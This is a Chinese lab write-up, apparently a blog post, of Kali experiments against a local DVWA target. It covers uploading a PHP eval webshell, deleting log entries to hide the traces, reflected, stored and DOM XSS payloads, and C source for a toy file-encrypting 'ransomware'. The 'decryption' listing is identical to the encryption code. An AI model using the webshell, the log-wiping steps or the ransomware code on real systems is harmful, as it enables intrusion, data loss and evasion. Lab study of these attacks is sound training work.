kaliLinux

一次kali实验

环境配置

Windows10 IP地址:192.168.254.1

Kali虚拟机一台 IP地址:192.168.254.50

实验一、文件上传漏洞

利用dvwa靶场中的文件上传漏洞模块实现

首先在win10上启动dvwa靶场

之后用kali自带的工具nmap进行端口扫描

nmap 192.168.254.1

结果如图所示:
在这里插入图片描述

查看到服务器的80端口存在web服务

想要隐藏自身IP地址可通过网络代理实现

登陆浏览器访问192.168.254.1进入dvwa
在这里插入图片描述

将安全等级设置为low

选择file upload模块

创建一句话木马文件muma.php

<?php @eval($_POST["shell"]);?>

保存后上传到dvwa,显示如下界面:

在这里插入图片描述

之后打开蚁剑工具右键添加数据进行远程连接

在这里插入图片描述

Url地址为:http://192.168.254.1/hackable/uploads/muma.php

密码为shell

成功后蚁剑就会通过向服务器发送包含shell参数的post请求,在服务器上执行任意命令,获取webshell权限。

在这里插入图片描述

最后进行痕迹消除,寻找nginx的web日志文件,一般存储于access.log和error.log中,然后删除对应记录即可。

在这里插入图片描述

实验二、XSS漏洞

XSS漏洞是指攻击者将恶意代码注入到网页中,当其他用户浏览该页面时,恶意代码会被执行,从而获取用户敏感信息或进行其他攻击。

一般分为三种,下面一一实现:

1、反射型XSS

交互的数据一般不会存储在数据库里,只是简单的把用户输入的数据反射给浏览器(一次性的)。需用户访问特定的url才能生效,并且访问产生的收据不会对服务端造成影响。

选择dvwa中的XSS (Reflected)模块

直接在输入框中输入恶意JavaScript脚本

<script>alert("Hello World")</script>

结果如图:

在这里插入图片描述

将该url发送到其他用户,用户点击后JavaScript脚本同样执行

http://192.168.254.1/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22Hello+World%22%29%3C%2Fscript%3E#
在这里插入图片描述

2、存储型XSS

交互的数据会被存在数据库里,永久性存储,具很强的稳定性。会对访问网站相应页面的所有用户造成影响。

选择dvwa中的XSS (Stored)模块

植入恶意JavaScript代码

Name可随意输入

Message处植入恶意代码
在这里插入图片描述

上传后,该脚本会持续保存在数据库中,之后所有用户访问该页面时都会执行上传的恶意JavaScript脚本
在这里插入图片描述
在这里插入图片描述

想要删除的话,需在dvwa的数据库中删除对应的记录

3、DOM型XSS

不与后台服务器产生数据交互,通过前端DOM节点形成XSS漏洞。会在网站页面生成超链接信息,超链接信息中会自动加载恶意代码,影响客户端。

选择dvwa的XSS(DOM)模块

点击Select后发现页面刷新url后拼接了default=English

在这里插入图片描述

尝试修改url

http://192.168.254.1/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27jinitaimei%27)%3C/script%3E

访问后结果如图

在这里插入图片描述

实验三、模拟勒索病毒进行攻击

在该实验中我们制作一个简易的加密程序模仿勒索病毒进行攻击

首先我们在靶机中创建一个新的test目录,然后在该目录下创建一个文本文件,输入自定义内容
在这里插入图片描述
在这里插入图片描述

接着我们编写一段加密代码,编译后上传到服务器,加密源代码如下:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<dirent.h>
#include<sys/types.h>
#include<sys/stat.h>

/*声明一些变量*/
char ch = '0';
char filename[256] = "";  //保存输入的数据 文件的路径
char filepath[256] = "";  //当前目录下的文件路径
FILE *fp = NULL;
FILE *fptemp = NULL;
char password[12] = "123456";
const char tempfile[256] = "temp1234567890.temp";
int pwdlen = 0;
int i = 0;  //作计数器

//函数声明
void inputpass(char *pass);
void encryptFile(const char *filename, const char *password);

//函数实现
void inputpass(char *pass)
{
    scanf("%s", pass);
}

void encryptFile(const char *filename, const char *password)
{
    if (NULL == (fp = fopen(filename, "rb")))
    {
        printf("无法打开文件: %s", filename);
        return;
    }
    printf("加密文件: %s", filename);

    pwdlen = strlen(password);
    if (0 == pwdlen)
    {
        printf("密码长度为0");
        fclose(fp);
        return;
    }

    // 创建临时文件
    strcpy(filepath, filename);
    strcat(filepath, tempfile);
    fptemp = fopen(filepath, "wb");
    if (fptemp == NULL)
    {
        printf("无法创建临时文件");
        fclose(fp);
        return;
    }

    // 逐字节加密并写入临时文件
    while (1)
    {
        ch = getc(fp);
        if (feof(fp))
        {
            /*判断文件是否读完*/
            break;
        }
        /*每取出一个字符就加密*/
        ch ^= password[i++];
        // ch里就是加密以后的数据了
        fputc(ch, fptemp);
        if (i == pwdlen)
        {
            i = 0;
        }
    }

    fclose(fp);
    fclose(fptemp);

    // 删除原文件,重命名临时文件
    remove(filename);
    rename(filepath, filename);

    printf("加密完成");
}

void encryptFilesInCurrentDir()
{
    DIR *dir = opendir(".");
    if (dir == NULL)
    {
        printf("无法打开当前目录");
        return;
    }

    struct dirent *entry;
    struct stat filestat;
    while ((entry = readdir(dir)) != NULL)
    {
        if (entry->d_name[0] != '.')  // 忽略隐藏文件
        {
            char filepath[256];
            sprintf(filepath, "./%s", entry->d_name);

            if (stat(filepath, &filestat) == 0 && S_ISREG(filestat.st_mode))  // 如果是普通文件
            {
                encryptFile(entry->d_name, password);
            }
        }
    }

    closedir(dir);
}

//主函数
int main(int argc, char const *argv[])
{
    printf("******************************\n");
    printf("********安全加密小程序*********\n");
    printf("当前目录下的所有文件将被加密,");
    printf("请输入密码: ");
    inputpass(password);

    encryptFilesInCurrentDir();

    return 0;
}

在这里插入图片描述
接着在此处打开终端,运行我们的加密程序
在这里插入图片描述

加密完成后,当前路径下所有的文件都会被加密,此时打开1.txt,看到的为加密后的文本
需运行解密程序后才能解除

解密程序源代码如下:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<dirent.h>
#include<sys/types.h>
#include<sys/stat.h>

/*声明一些变量*/
char ch = '0';
char filename[256] = "";  //保存输入的数据 文件的路径
char filepath[256] = "";  //当前目录下的文件路径
FILE *fp = NULL;
FILE *fptemp = NULL;
char password[12] = "123456";
const char tempfile[256] = "temp1234567890.temp";
int pwdlen = 0;
int i = 0;  //作计数器

//函数声明
void inputpass(char *pass);
void encryptFile(const char *filename, const char *password);

//函数实现
void inputpass(char *pass)
{
    scanf("%s", pass);
}

void encryptFile(const char *filename, const char *password)
{
    if (NULL == (fp = fopen(filename, "rb")))
    {
        printf("无法打开文件: %s", filename);
        return;
    }
    printf("加密文件: %s", filename);

    pwdlen = strlen(password);
    if (0 == pwdlen)
    {
        printf("密码长度为0");
        fclose(fp);
        return;
    }

    // 创建临时文件
    strcpy(filepath, filename);
    strcat(filepath, tempfile);
    fptemp = fopen(filepath, "wb");
    if (fptemp == NULL)
    {
        printf("无法创建临时文件");
        fclose(fp);
        return;
    }

    // 逐字节加密并写入临时文件
    while (1)
    {
        ch = getc(fp);
        if (feof(fp))
        {
            /*判断文件是否读完*/
            break;
        }
        /*每取出一个字符就加密*/
        ch ^= password[i++];
        // ch里就是加密以后的数据了
        fputc(ch, fptemp);
        if (i == pwdlen)
        {
            i = 0;
        }
    }

    fclose(fp);
    fclose(fptemp);

    // 删除原文件,重命名临时文件
    remove(filename);
    rename(filepath, filename);

    printf("加密完成");
}

void encryptFilesInCurrentDir()
{
    DIR *dir = opendir(".");
    if (dir == NULL)
    {
        printf("无法打开当前目录");
        return;
    }

    struct dirent *entry;
    struct stat filestat;
    while ((entry = readdir(dir)) != NULL)
    {
        if (entry->d_name[0] != '.')  // 忽略隐藏文件
        {
            char filepath[256];
            sprintf(filepath, "./%s", entry->d_name);

            if (stat(filepath, &filestat) == 0 && S_ISREG(filestat.st_mode))  // 如果是普通文件
            {
                encryptFile(entry->d_name, password);
            }
        }
    }

    closedir(dir);
}

//主函数
int main(int argc, char const *argv[])
{
    printf("******************************\n");
    printf("********安全加密小程序*********\n");
    printf("当前目录下的所有文件将被加密,");
    printf("请输入密码: ");
    inputpass(password);

    encryptFilesInCurrentDir();

    return 0;
}

将解密代码编译后,上传到相同目录下
在这里插入图片描述

然后在终端处运行

在这里插入图片描述

此时文件恢复正常

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值